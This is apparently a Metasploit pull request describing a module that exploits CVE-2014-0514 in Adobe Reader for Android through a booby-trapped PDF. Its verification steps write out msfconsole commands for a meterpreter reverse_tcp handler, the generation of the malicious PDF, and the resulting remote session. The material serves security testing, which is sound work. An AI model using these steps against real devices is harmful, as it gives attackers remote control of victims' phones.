rapid7/metasploit-framework — pull request #3418 by jvennix-r7 (2014-06-03 03:38:07+00:00)
Title:  CVE-2014-0514 Adobe Reader for Android addJavascriptInterface PDF fileformat exploit

Moved from #3414 as somehow the commit range was not updating in that PR.

BLOCKED until #3086 lands (yay). I refactored some of the js logic into a mixin that is now shared between the android browser and pdf exploits.

Note that Adobe Reader for Android supports only a limited subset of the typical Reader javascript, and Document-level javascripts are explicitly forbidden. This was a huge pain in my ass. I couldn't find a way to "autorun" the js, but was able to overlay a large button over the entire document, so pressing anywhere on the device's screen will get the shell. However this meant a larger-than-normal object graph, and hand-rolling this into the PDF file format really really sucks. So I generated the add_object calls from the PDF in the PoC using [this script](https://gist.github.com/jvennix-r7/e3b70490c1a950d9e5fb). I can add this to the repo if it seems useful.

#### Verification:

- [ ] Download and install the Adobe Reader 11.1.3 .apk on to any android > 3. You can grab it from Adobe here:

ftp://ftp.adobe.com/pub/adobe/reader/android/11.x/11.1.3/

- [ ] Run a handler:

msf> use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.4
lhost => 192.168.0.4
msf exploit(handler) > run -j
[*] Exploit running as background job.

- [ ] Generate the pdf:

msf> use exploit/android/fileformat/adobe_reader_pdf_js_interface
msf exploit(adobe_reader_pdf_js_interface) > set lhost 192.168.0.4
lhost => 192.168.0.4
msf exploit(adobe_reader_pdf_js_interface) > run
[*] Generating Javascript exploit...
[*] Creating PDF...
[+] msf.pdf stored at /Users/joe/.msf4/local/msf.pdf

- [ ] View the PDF on the android device in Adobe Reader. Once the pdf loads, tap anywhere on the PDF.
- [ ] You should get a working meterpreter session

msf exploit(adobe_reader_pdf_js_interface) >
[*] Sending stage (40248 bytes) to 192.168.0.4
[*] Meterpreter session 1 opened (192.168.0.4:4444 -> 192.168.0.4:51870) at 2014-05-31 15:50:30 -0500